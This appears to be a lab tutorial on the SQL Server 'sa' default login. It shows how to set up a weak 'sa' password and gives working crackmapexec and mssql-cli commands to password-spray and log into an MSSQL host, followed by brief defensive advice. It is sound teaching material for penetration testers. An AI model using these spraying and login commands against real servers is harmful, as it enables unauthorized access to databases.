SQL Server default login

By default the SA user is NOT enabled. Administrators might enable it during the installation and choose a weak password.

Configuring

2. Open "Microsoft SQL Server Management Studio"

3. Login with the Administrator user using Windows Authentication.

4. Expand the "Security" and "Logins" folders. Right click "sa" and select "Properties". Make sure "Enforce password policy" is unchecked and fill in the password sa twice.

Attacking

How it works

One of the default users (not enabled by default) for SQL Server is the SA user. Administrators might enable it during the installation and choose a weak password, such as the username.

Tools

Executing the attack

Check if the MSSQL server on WEB01 can be contacted from our Kali machine:

crackmapexec mssql 10.0.0.5 -d .

2. Paste the following passwords in passwords.txt to spray with:

Password
Password01!
Password1!
Welcome01!
Welcome01
Welcome1!
Welcome1
sa

3. Run Crackmapexec to connect to the MSSQL service running on WEB01 and passwordspray the passwords till there is a succesfull login:

crackmapexec mssql 10.0.0.5 -u sa -p passwords.txt --local-auth

We got a succesfull login as the sa user with the password sa.

4. Run Crackmapexec again with the password sa and use the -q flag to try to execute the query select @@version to retrieve the MSSQL version.

crackmapexec mssql 10.0.0.5 -u sa -p sa --local-auth -q "select @@version;"

5. Connect to the database using mssql-cli.

mssql-cli -S 10.0.0.5 -U sa -P sa

Check the executing commands page under SQL Server Attacks to learn to execute cmd commands:

Executing Commands

Defending

Recommendations

Make sure the password policy is enforced for all users on the SQL server.
Dont use the sa account, this account is well to known and attackers will attempt to brute-force it.